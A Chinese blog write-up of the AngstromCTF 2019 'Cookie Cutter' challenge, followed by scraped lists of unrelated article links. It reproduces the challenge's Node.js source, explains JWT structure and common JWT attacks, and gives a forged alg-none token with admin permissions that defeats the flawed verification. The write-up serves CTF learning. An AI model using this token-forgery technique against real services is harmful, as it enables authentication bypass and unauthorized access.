最近看到了一个国外高中生的CTF比赛,翻了一下往年的例题,发现有一道关于jwt session伪造的题比较有意思,记录一下

题目简介中给出了我们题目的地址和后端处理的源码,看看源码先代码审计一下:

const cookieParser = require('cookie-parser');
const express = require('express');
const crypto = require('crypto');
const jwt = require('jsonwebtoken'); const flag = "[redacted]"; let secrets = []; const app = express()
app.use('/style.css', express.static('style.css'));
app.use('/favicon.ico', express.static('favicon.ico'));
app.use('/rick.png', express.static('rick.png'));
app.use(cookieParser()) app.use('/admin',(req, res, next)=>{
res.locals.rolled = true;
next();
}) app.use((req, res, next) => {
let cookie = req.cookies?req.cookies.session:"";
res.locals.flag = false;
try {
let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
let decoded = jwt.verify(cookie, secrets[sid]);
if(decoded.perms=="admin"){
res.locals.flag = true;
}
if(decoded.rolled=="yes"){
res.locals.rolled = true;
}
if(res.locals.rolled) {
req.cookies.session = ""; // generate new cookie
}
} catch (err) {
req.cookies.session = "";
}
if(!req.cookies.session){
let secret = crypto.randomBytes(32)
cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});
secrets.push(secret);
res.cookie('session',cookie,{maxAge:1000*60*10, httpOnly: true})
req.cookies.session=cookie
res.locals.flag = false;
}
next()
}) app.get('/admin', (req, res) => {
res.send("<!DOCTYPE html><head></head><body><script>setTimeout(function(){location.href='//goo.gl/zPOD'},10)</script></body>");
}) app.get('/', (req, res) => {
res.send("<!DOCTYPE html><head><link href='style.css' rel='stylesheet' type='text/css'></head><body><h1>hello kind user!</h1><p>your flag is <span style='color:red'>"+(res.locals.flag?flag:"error: insufficient permissions! talk to the <a href='/admin'"+(res.locals.rolled?" class='rolled'":"")+">admin</a> if you want access to the flag")+"</span>.</p><footer><small>This site was made extra secure with signed cookies, with a different randomized secret for every cookie!</small></footer></body>")
}) app.listen(3000)

粗略看了一下发现这是一道jwt伪造的题。先来简单讲一下jwt是个什么:

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。
 
JWT是由三段信息构成的,将这三段信息文本用符号"."链接一起就构成了Jwt字符串,就像这样:

第一部分我们称它为头部(header),第二部分我们称其为载荷(payload),第三部分是签证(signature).

头部(header)承载两部分信息:

  • 声明类型,这里是jwt
  • 声明加密的算法 通常使用HS256与RS25

完整的头部就像下面这样的JSON:

在上面的代码中,alg属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);typ属性表示令牌的类型,JWT令牌统一写为JWT。然后对头部进行base64编码即可得到我们的第一段jwt。

载荷(Payload)就是存放有效信息的地方。这个名字像是特指飞机上承载的货品,这些有效信息包含三个部分

  • 标准中注册的声明
  • 公共的声明
  • 私有的声明

标准中注册的声明 (建议但不强制使用) :

  • iss: jwt签发者
  • sub: jwt所面向的用户
  • aud: 接收jwt的一方
  • exp: jwt的过期时间,这个过期时间必须要大于签发时间
  • nbf: 定义在什么时间之前,该jwt都是不可用的.
  • iat: jwt的签发时间
  • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

公共的声明 :
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.

私有的声明 :
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。

完整的载荷就像下面这样的JSON:

然后对载荷进行Base64加密即可得到我们的第二段jwt,与第一段jwt使用“.”连接。

签证信息(signature)构成jwt的第三部分,这个签证信息由三部分组成:

  • header (base64后的)
  • payload (base64后的)
  • secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

了解过jwt的原理后,我们来总结一下jwt中容易出现的安全问题,其实也就是CTF关于jwt题目中的考法:

1修改算法为none

  修改算法有两种修改的方式其中一种就是将算法就该为none。

  后端若是支持none算法,header中的alg字段可被修改为none。

  去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’) 然后直接提交到服务端去。

2修改算法RS256为HS256

  RS256是非对称加密算法,HS是对称加密算法。

  假设jwt内部的函数支持的RS256算法,又同时支持HS256算法

  如果已知公钥的话,将算法改成HS256,然后后端就会用这个公钥当作密钥来加密

3信息泄露、密钥泄露

  JWT是以base64编码传输的,虽然密钥不可见,但是其数据记本上是明文传输的,如果传输了重要的内容,可以base64解码然后获取其重要的信息。

  如果服务端泄露了密钥,用户便可以根据密钥和加密算法来自己伪造生成jwt。

4爆破密钥

  如果密钥比较短,并且已知加密算法,通过暴力破解的方式,可以得到其密钥。

仔细审计一下代码,需要关注的点在这里:

let secret = crypto.randomBytes(32)
cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});
secrets.push(secret);

再看看获取Flag的条件:

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
let decoded = jwt.verify(cookie, secrets[sid]);
if(decoded.perms=="admin"){
res.locals.flag = true;
}
if(decoded.rolled=="yes"){
res.locals.rolled = true;
}
if(res.locals.rolled) {
req.cookies.session = ""; // generate new cookie
}

这里我们分析一下:构造Payload首先需要绕过的是对于sid的验证,其次是jwt.verify()的验证,才可以获得Flag

先来看对于sid的验证:

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid; //这里是获取jwt payload中secretid的值
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}

要求sid不能为空、值不为负并且要小于或等于secrets的长度值。这里有一个trick: NodeJs中数字与非纯数字字符串比较,无论大小都会返回Flase。

因此绕过这个验证只要保证sid的值即jwt payload中secretid有值即可,无论字符或数字都可以绕过。

接下来看看如何绕过jwt.verify()的验证:

let decoded = jwt.verify(cookie, secrets[sid]);

从通过jwt.verify()验证所需的参数来看,我们需要密钥才可以通过验证,但是我们并不知道密钥,同时密钥是32位随机生成的字符串,爆破显然也行不通

这时我们想到了将jwt Header中加密算法alg的值设置为none即可,并且此时jwt.verify()验证中的密钥secrets[sid]为空即可通过验证(因为没有加密算法所以不需要私钥)

若sid为一个非数字字符串,那么secrets[sid]便会返回undefined,同时程序也只是验证了sid不等于undefined,对secrets[sid]并没有限制。

因此我们构造payload的核心就出来了:

1.将Header中alg的值修改为none

2.将Payload中perms的值修改为admin

3.将Payload中secretid的值修改为任一非数字字符串

4.将Payload中rolled的值修改为no,防止后端重新分配给我们一个jwt

构造Payload步骤如下:

通过这个网站我们可以实现jwt的解码与生成:https://jwt.io/

首先获取我们访问时默认的jwt:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwZXJtcyI6InVzZXIiLCJzZWNyZXRpZCI6OTAsInJvbGxlZCI6Im5vIiwiaWF0IjoxNTgzMjk0MTk3fQ.M2OrRjGys_6btzgDXAipdjv4iB5vGovgnWFGQOwRgyo

解密得到:

{
alg: "HS256",
typ: "JWT"
}.
{
perms: "user",
secretid: 90,
rolled: "yes",
iat: 1583294197 //这里是jwt生成的时间,发送的时候有无均可
}.
[signature] //签名部分,这里我们没有密钥,因此接下来伪造jwt的时候需要删掉这一部分

我们来构造一下获取Flag的明文jwt:

{
alg: "none", //不使用加密方式
typ: "JWT"
}.
{
perms: "admin",
secretid: "ye", //这里为了绕过后端的验证需要输入一个字符串
rolled: "no" //设置为no让后端不再重新分配jwt
}.

然后我们生成jwt然后直接删去第三部分的签证得到Payload:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJ5ZSIsInJvbGxlZCI6Im5vIn0.

将我们的payload jwt设置为session再次发送请求得到Flag:

参考链接:

https://www.jianshu.com/p/576dbf44b2ae

https://www.freebuf.com/column/207216.html

[AngstromCTF 2019]Cookie Cutter的更多相关文章

  1. android 实现垂直的ProgressBar

    I had recently come across the need for a vertical progress bar but was unable to find a solution us ...

  2. javascript启示录英文单词生词

    odd:奇怪的 represent:代表 primitive:原始的 trivial:平凡的 demonstrate:证明 keep this at the forefront of your min ...

  3. magnum devstack部署

    magnum安装 安装条件: 至少要10G以上内存的机器.亲测使用6G的虚拟机,所有操作均有至少一秒延迟. 硬盘至少50G 良好的上网环境 操作步骤参见快速入门 以下是我操作的步骤记录 sudo mk ...

  4. SEO优化上首页之搜索引擎作弊案例与反作弊原理

    搜索引擎流量价值巨大,有不少人专门研究排名机制,利用搜索引擎漏洞作弊,寻求快速提高网站排名,进而获取更多的流量和利益,甚至有的网站优化公司专门提供作弊服务.搜索引擎为了杜绝这种情况,必须能过滤大量垃圾 ...

  5. 3DSMAX中英文对比大全(从A-Z分类)

    A Absolute Mode Transform Type-in绝对坐标方式变换输入 Absolute/Relative Snap Toggle Mode绝对/相对捕捉开关模式 ACIS Optio ...

  6. JavaScript Constructors

    Understanding JavaScript Constructors It was: 1) This article is technically sound. JavaScript doesn ...

  7. 4 Visual Effects 视觉效果 读书笔记 第四章

    4   Visual Effects    视觉效果        读书笔记 第四章 Well, circles and ovals are good, but how about drawing r ...

  8. 20140401 cudaHOG代码

    1.cudaHOG代码(删减没有必要的目录) cudaHOGDetect需要boost库:boost_date_time-vc100-mt-1_40.lib VC++目录->附加库目录D:\bo ...

  9. [BJDCTF2020]Cookie is so stable && [GWCTF 2019]枯燥的抽奖

    [BJDCTF2020]Cookie is so stable 进入环境后看到有hint,点击之后查看源代码 提示我们cookie有线索 flag页面是: 需要输入一个username,或许这道题目是 ...

随机推荐

  1. 009_go语言中的slices分片

    代码演示 package main import "fmt" func main() { s := make([]string, 3) fmt.Println("emp: ...

  2. SpringMVC 集成 JWT验证方式

    JWT官网: https://jwt.io/ 这里以java的ssm框架为例,集成jwt. 1.pom.xml 导入jwt的包 <!-- jwt --> <dependency> ...

  3. JavaScript promise基础示例

    const { info } = console // cooking function cook() { info('[COOKING] start cooking.') const p = new ...

  4. 精讲RestTemplate第7篇-自定义请求失败异常处理

    本文是精讲RestTemplate第7篇,前篇的blog访问地址如下: 精讲RestTemplate第1篇-在Spring或非Spring环境下如何使用 精讲RestTemplate第2篇-多种底层H ...

  5. day3 基本语句

         代码缩进为一个tab键  就是四个空格           断点   在代码首行前空白处,双击  然后点右上角臭虫  然后点下面箭头朝下的 1.if 语句  if 判断条件:         ...

  6. mac 安卓生成证书(uniapp项目安卓证书申请)

    mac  安卓生成证书 义务需求: 最近在开发基于uniapp框架的app,到了打包发布的阶段,来尝试打包为安卓的apk安装包.在用HBuild打包的时候需要提供安卓的数字证书(.keystore 文 ...

  7. c/c++ 感悟 2008-10-03 02:08

    许久没有坐在电脑前写东西了.除了密密麻麻的英文小虫子,还是英文小虫子.今天不是解决bug,明天就是在创造bug,一句话不在bug中沉默就在bug中爆发.或许喜欢小宇宙爆发的样子吧,那样的感觉总是让人热 ...

  8. Java callback回调

    package com.callback; public interface CSCallBack { public void process(String status); } package co ...

  9. 企业项目实战 .Net Core + Vue/Angular 分库分表日志系统 | 简单的分库分表设计

    前言 项目涉及到了一些设计模式,如果你看的不是很明白,没有关系坚持下来,写完之后去思考去品,你就会有一种突拨开云雾的感觉,所以请不要在半途感觉自己看不懂选择放弃,如果我哪里写的详细,或者需要修正请联系 ...

  10. DDD与Repository

    Repository已经不是什么新鲜概念了.DDD模型自2004年提出,发展至今已经16年了.但是不少企业却无法实施,其原因也很简单:DDD是基于需求的,而很多并不理解需求:DDD是容易实现的,而很多 ...